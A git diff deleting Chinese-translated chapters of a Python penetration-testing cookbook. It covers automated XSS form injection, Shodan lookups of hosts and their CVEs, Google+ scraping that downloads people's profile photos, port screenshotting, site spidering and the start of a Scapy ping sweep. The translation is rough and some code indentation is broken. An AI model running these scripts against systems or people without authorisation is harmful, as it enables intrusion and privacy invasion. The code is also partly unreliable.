-我已经解释了`list_a[]`和`list_n[]`的意义。变量字段要求用户输入表单中非只读的表单字段总数。`for i in xrange(0,field):`语句定义`for`循环将运行表单字段的总次数。`na`变量要求用户输入字段名，`ch`变量要求用户输入`Do you attack on this field`。这意味着，如果您按*y*或*y*，输入的字段将转到`list_a`；否则将转到`list_n`：
-
-```
-for i in xrange(0, len(list_a)):
- att=list_a[i]
- br.form[att] = s['xss'][p]
- for i in xrange(0, len(list_n)):
- non=list_n[i]
- br.form[non] = 'aaaaaaa'
-```
-
-前面的代码很容易理解。两个列表的两个`for`循环运行到列表的长度，并填写表单字段。
-
-代码的输出如下所示：
-
-
-
-填写检查表\u n
-
-前面的屏幕截图显示表单字段的数量为两个。用户输入表单字段的名称并将其设置为非攻击字段。这只是检查代码的工作情况。
-
-
-
-填写表格以检查列表
-
-前面的屏幕截图显示用户输入表单字段并使其成为攻击字段。
-
-现在，请查看网站的回复，如下所示：
-
-
-
-表单字段已成功填写
-
-前面的屏幕截图显示代码工作正常；前两行用普通的`aaaaaaa`字符串填充。第三行和第四行已被 XSS 攻击填满。到目前为止，您已经了解了如何自动化 XSS 攻击。通过适当的验证和过滤，web 开发人员可以保护他们的网站。在 PHP 函数中，`htmlspecialchars()`字符串可以保护您的网站免受 XSS 攻击。在上图中，您可以看到，**注释**字段不受 XSS 攻击的影响。以下屏幕截图显示了**注释**字段的编码部分：
-
-
-
-显示 htmlspecialchars（）函数的图
-
-当您看到显示页面的查看源时，它看起来像`<script>alert(1)</script>`；将特殊字符`<`转换为`<`，将`>`转换为`>`。这种转换称为 HTML 编码。
-
-# 总结
-
-在本章中，您了解了两种主要的 web 攻击类型：SQL 注入和 XSS。在 SQL 注入中，您学习了如何使用 Python 脚本查找管理员登录页面。SQL 注入有很多不同的查询，在本章中，您学习了如何基于重言式破解用户名和密码。在 SQLI 的另一次攻击中，您学习了如何在有效用户名之后进行注释。在接下来的 XSS 中，您看到了如何将 XSS 漏洞利用应用于表单字段。在`mohit.xss`文件中，您看到了如何添加更多漏洞。
\ No newline at end of file
diff --git a/trans/py-pentest-dev/18.md b/trans/py-pentest-dev/18.md
deleted file mode 100644
index c05b8df..0000000
--- a/trans/py-pentest-dev/18.md
+++ /dev/null
@@ -1,775 +0,0 @@
-# 第一章收集开源情报
-
-在本章中，我们将介绍以下主题：
-
-* 使用 Shodan API 收集信息
-* 编写 Google+API 搜索脚本
-* 使用 Google+API 下载个人资料图片
-* 使用 Google+API 分页获取其他结果
-* 使用 QtWebKit 获取网站截图
-* 基于端口列表的屏幕截图
-* 蜘蛛网
-
-# 导言
-
-**开源情报****OSIT**是从公开（公开）来源收集信息的过程。在测试 web 应用程序时，这似乎是一件奇怪的事情。然而，在接触某个特定网站之前，就可以了解该网站的大量信息。您可能能够找到网站使用的服务器端语言、基础框架，甚至其凭据。学习使用 API 和编写这些任务的脚本可以使收集阶段的大部分工作变得更加容易。
-
-在本章中，我们将介绍使用 Python 利用 API 的强大功能来深入了解目标的几种方法。
-
-# 使用 Shodan API 收集信息
-
-Shodan 本质上是一个漏洞搜索引擎。通过向其提供名称、IP 地址甚至端口，它将返回其数据库中匹配的所有系统。这使得它成为基础设施方面最有效的情报来源之一。这就像谷歌搜索互联网连接设备一样。Shodan 不断扫描互联网，并将结果保存到公共数据库中。而该数据库可从 Shodan 网站（[网站）进行搜索 https://www.shodan.io](https://www.shodan.io) ），报告的结果和服务是有限的，除非您通过**应用程序编程接口**（**API**访问）。
-
-本节的任务是通过使用 Shodan API 获取关于 Packt 发布网站的信息。
-
-## 准备好了吗
-
-在撰写本文时，Shodan 的会员费是 49 美元，这是获得 API 密钥所必需的。如果你对安全问题很认真，访问 Shodan 是无价的。
-
-如果您还没有 Shodan 的 API 密钥，请访问[www.Shodan.io/store/member](http://www.shodan.io/store/member)并注册。Shodan 有一个非常好的 Python 库，在[中也有很好的文档记录 https://shodan.readthedocs.org/en/latest/](https://shodan.readthedocs.org/en/latest/) 。
-
-要将 Python 环境设置为与 Shodan 一起使用，只需使用`cheeseshop`安装库即可：
-
-```
-$ easy_install shodan
-
-```
-
-## 怎么做…
-
-下面是我们将用于此任务的脚本：
-
-```
-import shodan
-import requests
-
-SHODAN_API_KEY = "{Insert your Shodan API key}"
-api = shodan.Shodan(SHODAN_API_KEY)
-
-target = 'www.packtpub.com'
-
-dnsResolve = 'https://api.shodan.io/dns/resolve?hostnames=' + target + '&key=' + SHODAN_API_KEY
-
-try:
- # First we need to resolve our targets domain to an IP
- resolved = requests.get(dnsResolve)
- hostIP = resolved.json()[target]
-
- # Then we need to do a Shodan search on that IP
- host = api.host(hostIP)
- print "IP: %s" % host['ip_str']
- print "Organization: %s" % host.get('org', 'n/a')
- print "Operating System: %s" % host.get('os', 'n/a')
-
- # Print all banners
- for item in host['data']:
- print "Port: %s" % item['port']
- print "Banner: %s" % item['data']
-
- # Print vuln information
- for item in host['vulns']:
- CVE = item.replace('!','')
- print 'Vulns: %s' % item
- exploits = api.exploits.search(CVE)
- for item in exploits['matches']:
- if item.get('cve')[0] == CVE:
- print item.get('description')
-except:
- 'An error occured'
-```
-
-前面的脚本应产生类似于以下内容的输出：
-
-```
-IP: 83.166.169.231
-Organization: Node4 Limited
-Operating System: None
-
-Port: 443
-Banner: HTTP/1.0 200 OK
-
-Server: nginx/1.4.5
-
-Date: Thu, 05 Feb 2015 15:29:35 GMT
-
-Content-Type: text/html; charset=utf-8
-
-Transfer-Encoding: chunked
-
-Connection: keep-alive
-
-Expires: Sun, 19 Nov 1978 05:00:00 GMT
-
-Cache-Control: public, s-maxage=172800
-
-Age: 1765
-
-Via: 1.1 varnish
-
-X-Country-Code: US
-
-Port: 80
-Banner: HTTP/1.0 301 https://www.packtpub.com/
-
-Location: https://www.packtpub.com/
-
-Accept-Ranges: bytes
-
-Date: Fri, 09 Jan 2015 12:08:05 GMT
-
-Age: 0
-
-Via: 1.1 varnish
-
-Connection: close
-
-X-Country-Code: US
-
-Server: packt
-
-Vulns: !CVE-2014-0160
-The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packets, which allows remote attackers to obtain sensitive information from process memory via crafted packets that trigger a buffer over-read, as demonstrated by reading private keys, related to d1_both.c and t1_lib.c, aka the Heartbleed bug.
-
-```
-
-我刚刚选择了 Shodan 返回的一些可用数据项，但您可以看到我们得到了相当多的信息。在这个特定的例子中，我们可以看到存在一个潜在的漏洞。我们还看到该服务器正在侦听端口`80`和`443`，根据横幅信息，它似乎正在运行`nginx`作为 HTTP 服务器。
-
-## 它是如何工作的…
-
-1. 首先，我们在代码中设置静态字符串；这包括我们的 API 密钥：
-
- ```
- SHODAN_API_KEY = "{Insert your Shodan API key}"
- target = 'www.packtpub.com'
-
- dnsResolve = 'https://api.shodan.io/dns/resolve?hostnames=' + target + '&key=' + SHODAN_API_KEY
- ```
-
-2. 下一步是创建我们的 API 对象：
-
- ```
- api = shodan.Shodan(SHODAN_API_KEY)
- ```
-
-3. 为了使用 API 搜索主机信息，我们需要知道主机的 IP 地址。Shodan 有一个 DNS 解析器，但它不包含在 Python 库中。要使用 Shodan 的 DNS 解析程序，我们只需向 Shodan DNS 解析程序 URL 发出 GET 请求，并将其传递给我们感兴趣的域：
-
- ```
- resolved = requests.get(dnsResolve)
- hostIP = resolved.json()[target]
- ```
-
-4. 返回的 JSON 数据将是域到 IP 地址的字典；因为在我们的例子中只有一个目标，所以我们可以简单地使用`target`字符串作为字典的密钥来提取主机的 IP 地址。如果您在多个域上搜索，您可能希望遍历此列表以获取所有 IP 地址。
-5. 现在，我们有了主机的 IP 地址，我们可以使用 Shodan libraries`host`函数获取关于我们主机的信息。返回的 JSON 数据包含大量关于主机的信息，不过在我们的示例中，我们将只提取 IP 地址、组织以及正在运行的操作系统（如果可能）。然后我们将遍历所有被发现开放的港口及其各自的横幅：
-
- ```
- host = api.host(hostIP)
- print "IP: %s" % host['ip_str']
- print "Organization: %s" % host.get('org', 'n/a')
- print "Operating System: %s" % host.get('os', 'n/a')
-
- # Print all banners
- for item in host['data']:
- print "Port: %s" % item['port']
- print "Banner: %s" % item['data']
- ```
-
-6. The returned data may also contain potential **Common Vulnerabilities and Exposures** (**CVE**) numbers for vulnerabilities that Shodan thinks the server may be susceptible to. This could be really beneficial to us, so we will iterate over the list of these (if there are any) and use another function from the Shodan library to get information on the exploit:
-
- ```
- for item in host['vulns']:
- CVE = item.replace('!','')
- print 'Vulns: %s' % item
- exploits = api.exploits.search(CVE)
- for item in exploits['matches']:
- if item.get('cve')[0] == CVE:
- print item.get('description')
- ```
-
- 这就是我们的剧本。尝试在您自己的服务器上运行它。
-
-## 还有更多…
-
-我们用我们的脚本只触及了 Shodan Python 库的表面。阅读 Shodan API 参考文档并使用其他搜索选项是非常值得的。您可以根据“方面”筛选结果以缩小搜索范围。您甚至可以使用其他用户使用“标记”搜索保存的搜索。
-
-# 编写 Google+API 搜索脚本
-
-社交媒体是收集目标公司或个人信息的好方法。在这里，我们将向您展示如何编写 Google+API 搜索脚本，以便在 Google+社交网站中查找公司的联系信息。
-
-## 准备好了吗
-
-一些 Google API 需要授权才能访问它们，但是如果你有 Google 帐户，获取 API 密钥很容易。只需转到[https://console.developers.google.com](https://console.developers.google.com) 并创建一个新项目。点击**API&认证****凭证**。点击**创建新密钥**和**服务器密钥**。可选择输入您的 IP 或点击**创建**。将显示您的 API 密钥，并准备复制和粘贴到以下配方中。
-
-## 怎么做…
-
-下面是一个查询 Google+API 的简单脚本：
-
-```
-import urllib2
-
-GOOGLE_API_KEY = "{Insert your Google API key}"
-target = "packtpub.com"
-api_response = urllib2.urlopen("https://www.googleapis.com/plus/v1/people? query="+target+"&key="+GOOGLE_API_KEY).read()
-api_response = api_response.split("\n")
-for line in api_response:
- if "displayName" in line:
- print line
-```
-
-## 它是如何工作的…
-
-前面的代码向 Google+搜索 API 发出请求（使用 API 密钥进行身份验证），并搜索中与目标匹配的帐户；`packtpub.com`。与前面的 Shodan 脚本类似，我们设置了静态字符串，包括 API 键和目标：
-
-```
-GOOGLE_API_KEY = "{Insert your Google API key}"
-target = "packtpub.com"
-```
-
-下一步做两件事：首先，它向 API 服务器发送 HTTP`GET`请求，然后读取响应并将输出存储到`api_response`变量中：
-
-```
-api_response = urllib2.urlopen("https://www.googleapis.com/plus/v1/people? query="+target+"&key="+GOOGLE_API_KEY).read()
-```
-
-此请求返回 JSON 格式的响应；结果的示例片段如下所示：
-
-
-
-在我们的脚本中，我们将响应转换为列表，以便更容易解析：
-
-```
-api_response = api_response.split("\n")
-```
-
-代码的最后一部分在列表中循环并仅打印包含`displayName`的行，如下所示：
-
-
-
-## 另见…
-
-在下一个配方*中，使用 Google+API*下载个人资料图片，我们将研究如何改进这些结果的格式。
-
-## 还有更多…
-
-通过从一个简单的脚本开始查询 Google+API，我们可以将其扩展为更高效，并使用更多返回的数据。Google+平台的另一个关键方面是，用户也可能在另一个 Google 服务上拥有匹配的帐户，这意味着您可以交叉引用帐户。大多数谷歌产品都有一个 API 供开发者使用，所以一个好的起点是[https://developers.google.com/products/](https://developers.google.com/products/) 。抓取一个 API 密钥并将上一个脚本的输出插入其中。
-
-# 使用 Google+API 下载个人资料图片
-
-既然我们已经确定了如何使用 Google+API，我们可以设计一个脚本来下拉图片。这里的目的是将面孔与取自网页的名字对应起来。我们将通过 URL 向 API 发送请求，通过 JSON 处理响应，并在脚本的工作目录中创建图片文件。
-
-## 怎么做
-
-下面是一个使用 Google+API 下载个人资料图片的简单脚本：
-
-```
-import urllib2
-import json
-
-GOOGLE_API_KEY = "{Insert your Google API key}"
-target = "packtpub.com"
-api_response = urllib2.urlopen("https://www.googleapis.com/plus/v1/people? query="+target+"&key="+GOOGLE_API_KEY).read()
-
-json_response = json.loads(api_response)
-for result in json_response['items']:
- name = result['displayName']
- print name
- image = result['image']['url'].split('?')[0]
- f = open(name+'.jpg','wb+')
- f.write(urllib2.urlopen(image).read())
- f.close()
-```
-
-## 它是如何工作的
-
-第一个更改是将显示名称存储到变量中，因为这将在以后重新使用：
-
-```
- name = result['displayName']
- print name
-```
-
-接下来，我们从 JSON 响应中获取图像 URL：
-
-```
-image = result['image']['url'].split('?')[0]
-```
-
-代码的最后一部分用三行简单的代码完成了很多事情：首先，它在本地磁盘上打开一个文件，文件名设置为`name`变量。此处的`wb+`标志指示操作系统，如果文件不存在，则应创建该文件，并以原始二进制格式写入数据。第二行向图像 URL 发出 HTTP`GET`请求（存储在`image`变量中），并将响应写入文件。最后，关闭文件以释放用于存储文件内容的系统内存：
-
-```
- f = open(name+'.jpg','wb+')
- f.write(urllib2.urlopen(image).read())
- f.close()
-```
-
-脚本运行后，控制台输出与之前相同，显示名称。但是，您的本地目录现在也将包含所有配置文件图像，并保存为 JPEG 文件。
-
-# 使用分页从 Google+API 获取其他结果
-
-默认情况下，Google+API 最多返回 25 个结果，但我们可以通过增加最大值并通过分页获取更多结果来扩展以前的脚本。与之前一样，我们将通过 URL 和`urllib`库与 Google+API 进行通信。我们将创建任意数字，随着请求的进行，这些数字会增加，因此我们可以跨页面移动并收集更多结果。
-
-## 怎么做
-
-以下脚本显示了如何从 Google+API 获取其他结果：
-
-```
-import urllib2
-import json
-
-GOOGLE_API_KEY = "{Insert your Google API key}"
-target = "packtpub.com"
-token = ""
-loops = 0
-
-while loops < 10:
- api_response = urllib2.urlopen("https://www.googleapis.com/plus/v1/people? query="+target+"&key="+GOOGLE_API_KEY+"&maxResults=50& pageToken="+token).read()
-
- json_response = json.loads(api_response)
- token = json_response['nextPageToken']
-
- if len(json_response['items']) == 0:
- break
-
- for result in json_response['items']:
- name = result['displayName']
- print name
- image = result['image']['url'].split('?')[0]
- f = open(name+'.jpg','wb+')
- f.write(urllib2.urlopen(image).read())
- loops+=1
-```
-
-## 它是如何工作的
-
-此脚本中的第一个大的更改，即主代码，已移动到`while`循环中：
-
-```
-token = ""
-loops = 0
-
-while loops < 10:
-```
-
-在这里，循环数被设置为最多 10 个，以避免向 API 服务器发送太多请求。当然，该值可以更改为任何正整数。下一个更改是请求 URL 本身；它现在包含两个附加的尾部参数`maxResults`和`pageToken`。来自 Google+API 的每个响应都包含一个`pageToken`值，它是指向下一组结果的指针。请注意，如果没有更多结果，仍然会返回一个`pageToken`值。`maxResults`参数不言自明，但最多只能增加到 50：
-
-```
- api_response = urllib2.urlopen("https://www.googleapis.com/plus/v1/people? query="+target+"&key="+GOOGLE_API_KEY+"&maxResults=50& pageToken="+token).read()
-```
-
-下一部分在 JSON 响应中读取的内容与前面相同，但这次它还提取了`nextPageToken`值：
-
-```
- json_response = json.loads(api_response)
- token = json_response['nextPageToken']
-```
-
-如果`loops`变量增加到 10，主`while`循环可以停止，但有时您可能只得到一页结果。代码的下一部分检查返回了多少结果；如果没有，则会过早退出循环：
-
-```
- if len(json_response['items']) == 0:
- break
-```
-
-最后，我们确保每次增加`loops`整数的值。一个常见的编码错误是忽略了这一点，这意味着循环将永远继续：
-
-```
- loops+=1
-```
-
-# 使用 QtWebKit 获取网站截图
-
-他们说一幅画胜过千言万语。有时候，在情报收集阶段获取网站截图是件好事。我们可能想扫描一个 IP 范围，了解哪些 IP 在为网页提供服务，更重要的是它们看起来是什么样子。这有助于我们挑选感兴趣的站点进行关注，出于同样的原因，我们还可能希望快速扫描特定 IP 地址上的端口。我们将看看如何使用`QtWebKit`Python 库实现这一点。
-
-## 准备好了吗
-
-安装 QtWebKit 有点麻烦。最简单的方法是从[获取二进制文件 http://www.riverbankcomputing.com/software/pyqt/download](http://www.riverbankcomputing.com/software/pyqt/download) 。对于 Windows 用户，请确保选择符合`python/arch`路径的二进制文件。例如，我将使用`PyQt4-4.11.3-gpl-Py2.7-Qt4.8.6-x32.exe`二进制文件在安装了 Python 版本 2.7 的 Windows 32 位虚拟机上安装 Qt4。如果您计划从源文件编译 Qt4，请确保您已经安装了`SIP`。
-
-## 怎么做…
-
-一旦安装了 PyQt4，就可以开始了。下面的脚本是我们将用作 screenshot 类的基础的脚本：
-
-```
-import sys
-import time
-from PyQt4.QtCore import *
-from PyQt4.QtGui import *
-from PyQt4.QtWebKit import *
-
-class Screenshot(QWebView):
- def __init__(self):
- self.app = QApplication(sys.argv)
- QWebView.__init__(self)
- self._loaded = False
- self.loadFinished.connect(self._loadFinished)
-
- def wait_load(self, delay=0):
- while not self._loaded:
- self.app.processEvents()
- time.sleep(delay)
- self._loaded = False
-
- def _loadFinished(self, result):
- self._loaded = True
-
- def get_image(self, url):
- self.load(QUrl(url))
- self.wait_load()
-
- frame = self.page().mainFrame()
- self.page().setViewportSize(frame.contentsSize())
-
- image = QImage(self.page().viewportSize(), QImage.Format_ARGB32)
- painter = QPainter(image)
- frame.render(painter)
- painter.end()
- return image
-```
-
-创建前面的脚本并将其保存在 Python`Lib`文件夹中。然后，我们可以在脚本中将其作为导入引用。
-
-## 它是如何工作的…
-
-脚本使用加载 URL，然后使用 QPaint 创建图像。`get_image`函数只接受一个参数：我们的目标。知道了这一点，我们可以简单地将其导入另一个脚本并扩展功能。
-
-让我们把脚本分解一下，看看它是如何工作的。
-
-首先，我们建立了我们的进口：
-
-```
-import sys
-import time
-from PyQt4.QtCore import *
-from PyQt4.QtGui import *
-from PyQt4.QtWebKit import *
-```
-
-然后，我们创建类定义；我们正在创建的类通过继承从`QWebView`扩展：
-
-```
-class Screenshot(QWebView):
-```
-
-接下来，我们创建初始化方法：
-
-```
-def __init__(self):
- self.app = QApplication(sys.argv)
- QWebView.__init__(self)
- self._loaded = False
- self.loadFinished.connect(self._loadFinished)
-
-def wait_load(self, delay=0):
- while not self._loaded:
- self.app.processEvents()
- time.sleep(delay)
- self._loaded = False
-
-def _loadFinished(self, result):
- self._loaded = True
-```
-
-初始化方法设置`self.__loaded`属性。它与`__loadFinished`和`wait_load`函数一起用于检查应用程序运行时的状态。它等待站点加载后再截图。实际屏幕截图代码包含在`get_image`功能中：
-
-```
-def get_image(self, url):
- self.load(QUrl(url))
- self.wait_load()
-
- frame = self.page().mainFrame()
- self.page().setViewportSize(frame.contentsSize())
-
- image = QImage(self.page().viewportSize(), QImage.Format_ARGB32)
- painter = QPainter(image)
- frame.render(painter)
- painter.end()
- return image
-```
-
-在这个`get_image`函数中，我们将视口的大小设置为主框架内内容的大小。然后设置图像格式，将图像指定给画家对象，然后使用画家渲染帧。最后，我们返回处理后的图像。
-
-## 还有更多…
-
-要使用我们刚刚创建的类，我们只需将其导入另一个脚本。例如，如果我们只想保存返回的图像，我们可以执行以下操作：
-
-```
-import screenshot
-s = screenshot.Screenshot()
-image = s.get_image('http://www.packtpub.com')
-image.save('website.png')
-```
-
-就这些。在下一个脚本中，我们将创建一些更有用的内容。
-
-# 基于端口列表的屏幕截图
-
-在前面的脚本中，我们创建了基本函数，用于返回 URL 的图像。现在，我们将在此基础上进行扩展，以循环浏览通常与基于 web 的管理门户关联的端口列表。这将允许我们将脚本指向 IP，并自动通过可能与 web 服务器关联的端口运行。当我们不知道服务器上打开了哪些端口时，而不是在指定端口和域的位置时，可以使用此选项。
-
-## 准备好了吗
-
-为了让这个脚本正常工作，我们需要在使用 QtWeb 工具包配方的网站的*截图中创建脚本。这应该保存在`Pythonxx/Lib`文件夹中，并命名为清晰、难忘的内容。在这里，我们将该脚本命名为`screenshot.py`。脚本的命名尤其重要，因为我们用一个重要的声明引用它。*
-
-## 怎么做…
-
-这是我们将使用的脚本：
-
-```
-import screenshot
-import requests
-
-portList = [80,443,2082,2083,2086,2087,2095,2096,8080,8880,8443,9998,4643, 9001,4489]
-
-IP = '127.0.0.1'
-
-http = 'http://'
-https = 'https://'
-
-def testAndSave(protocol, portNumber):
- url = protocol + IP + ':' + str(portNumber)
- try:
- r = requests.get(url,timeout=1)
-
- if r.status_code == 200:
- print 'Found site on ' + url
- s = screenshot.Screenshot()
- image = s.get_image(url)
- image.save(str(portNumber) + '.png')
- except:
- pass
-
-for port in portList:
- testAndSave(http, port)
- testAndSave(https, port)
-```
-
-## 它是如何工作的…
-
-我们首先创建我们的进口报关单。在这个脚本中，我们使用之前创建的`screenshot`脚本和`requests`库。使用`requests`库是为了在尝试将请求转换为图像之前检查请求的状态。我们不想浪费时间试图转换不存在的网站。
-
-接下来，我们导入我们的库：
-
-```
-import screenshot
-import requests
-```
-
-下一步将设置我们将迭代的公共端口号数组。我们还使用将要使用的 IP 地址设置了一个字符串：
-
-```
-portList = [80,443,2082,2083,2086,2087,2095,2096,8080,8880,8443,9998,4643, 9001,4489]
-
-IP = '127.0.0.1'
-```
-
-接下来，我们创建字符串来保存我们稍后将构建的 URL 的协议部分；这只会使代码稍后更整洁一些：
-
-```
-http = 'http://'
-https = 'https://'
-```
-
-接下来，我们创建我们的方法，该方法将完成构建 URL 字符串的工作。在我们创建了 URL 之后，我们检查是否为我们的`get`请求返回了`200`响应代码。如果请求成功，我们将返回的网页转换为图像并保存，文件名为成功的端口号。代码被包装在一个`try`块中，因为当我们发出请求时，如果站点不存在，它将抛出一个错误：
-
-```
-def testAndSave(protocol, portNumber):
- url = protocol + IP + ':' + str(portNumber)
- try:
- r = requests.get(url,timeout=1)
-
- if r.status_code == 200:
- print 'Found site on ' + url
- s = screenshot.Screenshot()
- image = s.get_image(url)
- image.save(str(portNumber) + '.png')
- except:
- pass
-```
-
-现在我们的方法准备好了，我们只需迭代端口列表中的每个端口并调用我们的方法。我们对 HTTP 协议执行一次，然后对 HTTPS 执行一次：
-
-```
-for port in portList:
- testAndSave(http, port)
- testAndSave(https, port)
-```
-
-就这样。只需运行脚本，它就会将图像保存到与脚本相同的位置。
-
-## 还有更多…
-
-您可能会注意到脚本需要一段时间才能运行。这是因为它必须依次检查每个端口。实际上，您可能希望将其设置为多线程脚本，以便它可以同时检查多个 URL。让我们来看看如何修改代码来实现这个目标。
-
-首先，我们需要更多的导入声明：
-
-```
-import Queue
-import threading
-```
-
-接下来，我们需要创建一个新函数，我们将调用它`threader`。此新函数将处理将我们的`testAndSave`函数放入队列的操作：
-
-```
-def threader(q, port):
- q.put(testAndSave(http, port))
- q.put(testAndSave(https, port))
-```
-
-现在我们有了新的函数，我们只需要设置一个新的`Queue`对象并进行一些线程调用。我们将通过`portList`变量从`FOR`循环中取出`testAndSave`调用，并将其替换为以下代码：
-
-```
-q = Queue.Queue()
-
-for port in portList:
- t = threading.Thread(target=threader, args=(q, port))
- t.deamon = True
- t.start()
-
-s = q.get()
-```
-
-因此，我们的新脚本总体上如下所示：
-
-```
-import Queue
-import threading
-import screenshot
-import requests
-
-portList = [80,443,2082,2083,2086,2087,2095,2096,8080,8880,8443,9998,4643, 9001,4489]
-
-IP = '127.0.0.1'
-
-http = 'http://'
-https = 'https://'
-
-def testAndSave(protocol, portNumber):
- url = protocol + IP + ':' + str(portNumber)
- try:
- r = requests.get(url,timeout=1)
-
- if r.status_code == 200:
- print 'Found site on ' + url
- s = screenshot.Screenshot()
- image = s.get_image(url)
- image.save(str(portNumber) + '.png')
- except:
- pass
-
-def threader(q, port):
- q.put(testAndSave(http, port))
- q.put(testAndSave(https, port))
-
-q = Queue.Queue()
-
-for port in portList:
- t = threading.Thread(target=threader, args=(q, port))
- t.deamon = True
- t.start()
-
-s = q.get()
-```
-
-如果我们现在运行它，我们将得到更快的代码执行，因为 web 请求现在是并行执行的。
-
-您可以尝试进一步扩展脚本，以处理一系列 IP 地址；这在测试内部网络范围时非常方便。
-
-# 蜘蛛网
-
-许多工具提供了绘制网站地图的能力，但通常您仅限于输出样式或提供结果的位置。这个用于爬行脚本的底板允许您在短时间内绘制出网站，并能够根据您的意愿对其进行更改。
-
-## 准备好了吗
-
-为了让这个脚本正常工作，您需要`BeautifulSoup`库，它可以通过`apt`命令与`apt-get install python-bs4`或`pip install beautifulsoup4`一起安装。就这么简单。
-
-## 怎么做…
-
-这是我们将使用的脚本：
-
-```
-import urllib2
-from bs4 import BeautifulSoup
-import sys
-urls = []
-urls2 = []
-
-tarurl = sys.argv[1]
-
-url = urllib2.urlopen(tarurl).read()
-soup = BeautifulSoup(url)
-for line in soup.find_all('a'):
- newline = line.get('href')
- try:
- if newline[:4] == "http":
- if tarurl in newline:
- urls.append(str(newline))
- elif newline[:1] == "/":
- combline = tarurl+newline urls.append(str(combline)) except:
- pass
-
- for uurl in urls:
- url = urllib2.urlopen(uurl).read()
- soup = BeautifulSoup(url)
- for line in soup.find_all('a'):
- newline = line.get('href')
- try:
- if newline[:4] == "http":
- if tarurl in newline:
- urls2.append(str(newline))
- elif newline[:1] == "/":
- combline = tarurl+newline
- urls2.append(str(combline))
- except:
- pass
- urls3 = set(urls2)
- for value in urls3:
- print value
-```
-
-## 它是如何工作的…
-
-我们首先导入必要的库，并创建两个空列表，称为`urls`和`urls2`。这将使我们能够运行两次爬行过程。接下来，我们设置要添加的输入，作为从命令行运行的脚本的附录。它的运行方式如下：
-
-```
-$ python spider.py http://www.packtpub.com
-
-```
-
-然后我们打开提供的`url`变量并将其传递给`beautifulsoup`工具：
-
-```
-url = urllib2.urlopen(tarurl).read()
-soup = BeautifulSoup(url)
-```
-
-`beautifulsoup`工具将内容拆分为多个部分，只允许我们拉取想要的部分：
-
-```
-for line in soup.find_all('a'):
-newline = line.get('href')
-```
-
-然后，我们提取 HTML 中标记为标记的所有内容，并获取标记中指定为`href`的元素。这允许我们获取页面中列出的所有 URL。
-
-下一节将处理相对链接和绝对链接。如果链接是相对的，则以斜线开头，表示它是 web 服务器本地托管的页面。如果链接是绝对链接，则它包含包括域在内的完整地址。我们使用以下代码所做的是确保我们可以作为外部用户打开找到的所有链接，并将它们列为绝对链接：
-
-```
-if newline[:4] == "http":
-if tarurl in newline:
-urls.append(str(newline))
- elif newline[:1] == "/":
-combline = tarurl+newline urls.append(str(combline))
-```
-
-然后，我们通过迭代原始`url`列表中的每个元素，再次使用该页面中标识的`urls`列表重复该过程：
-
-```
-for uurl in urls:
-```
-
-除了参考列表和变量中的更改外，代码保持不变。
-
-我们将两个列表合并，最后，为了便于输出，我们将`urls`列表的完整列表转换为一个集合。这将从列表中删除重复项，并允许我们整齐地输出它。我们遍历集合中的值并逐个输出它们。
-
-## 还有更多…
-
-此工具可以与本模块前面和后面显示的任何功能相结合。它可以绑定到*使用 QtWeb 工具包*获取网站截图，从而允许您获取每个页面的截图。您可以将其绑定到[第 2 章](19.html "Chapter 2. Enumeration")、*枚举*中的电子邮件地址查找器，以从每个页面获取电子邮件地址，或者您也可以使用此简单技术来映射网页。
-
-脚本可以很容易地更改为添加深度级别，从当前的 2 个链接深度级别更改为系统参数设置的任何值。可以将输出更改为在每个页面上添加 URL，或将其转换为 CSV，以允许您将漏洞映射到页面以便于标记。
\ No newline at end of file
diff --git a/trans/py-pentest-dev/19.md b/trans/py-pentest-dev/19.md
deleted file mode 100644
index 7203a35..0000000
--- a/trans/py-pentest-dev/19.md
+++ /dev/null
@@ -1,865 +0,0 @@
-# 第二章列举
-
-在本章中，我们将介绍以下主题：
-
-* 使用 Scapy 执行 ping 扫描
-* Scapy 扫描
-* 检查用户名有效性
-* 强制使用用户名
-* 枚举文件
-* 强制密码
-* 从名称生成电子邮件地址
-* 从网页中查找电子邮件地址
-* 在源代码中查找注释
-
-# 导言
-
-确定测试目标后，您将需要执行一些枚举。这将帮助您确定一些可能的路径，以便进行进一步的侦察或攻击。这是重要的一步。毕竟，如果你想从保险箱里偷东西，你首先要看一看你是否需要一个别针、钥匙或密码，而不是简单地装上一根炸药棒，并可能毁掉里面的东西。
-
-在本章中，我们将介绍一些使用 Python 执行活动枚举的方法。
-
-# 与 Scapy 进行平扫
-
-确定目标网络后，首先要执行的任务之一是检查哪些主机处于活动状态。实现这一点的一个简单方法是 ping 一个 IP 地址并确认是否收到回复。但是，为多个主机执行此操作可能很快成为一项耗竭的任务。本食谱旨在向您展示如何使用 Scapy 实现这一点。
-
-Scapy 是一个功能强大的工具，可以用来处理网络数据包。虽然我们不会深入讨论 Scapy 可以实现的所有功能，但我们将在本配方中使用它来确定哪些主机回复**互联网控制消息协议**（**ICMP**数据包。虽然您可能可以创建一个简单的 bash 脚本，并将其与一些 grep 过滤结合在一起，但本食谱旨在向您展示一些技术，这些技术对于涉及迭代 IP 范围的任务非常有用，同时也是 Scapy 基本用法的一个示例。
-
-Scapy 可以通过以下命令安装在大多数 Linux 系统上：
-
-```
-$ sudo apt-get install python-scapy
-
-```
-
-## 怎么做…
-
-以下脚本显示了如何使用 Scapy 创建 ICMP 数据包，以便在收到响应时发送和处理响应：
-
-```
-import logging
-logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
-
-import sys
-from scapy.all import *
-
-if len(sys.argv) !=3:
- print "usage: %s start_ip_addr end_ip_addr" % (sys.argv[0])
- sys.exit(0)
-
-livehosts=[]
-#IP address validation
-ipregex=re.compile("^([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0- 9]|25[0-5])\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0- 5])\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\.([0- 9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])$")
-
-if (ipregex.match(sys.argv[1]) is None):
- print "Starting IP address is invalid"
- sys.exit(0)
-if (ipregex.match(sys.argv[1]) is None):
- print "End IP address is invalid"
- sys.exit(0)
-
-iplist1 = sys.argv[1].split(".")
-iplist2 = sys.argv[2].split(".")
-
-if not (iplist1[0]==iplist2[0] and iplist1[1]==iplist2[1] and iplist1[2]==iplist2[2])
- print "IP addresses are not in the same class C subnet"
- sys.exit(0)
-
-if iplist1[3]>iplist2[3]:
- print "Starting IP address is greater than ending IP address"
- sys.exit(0)
-
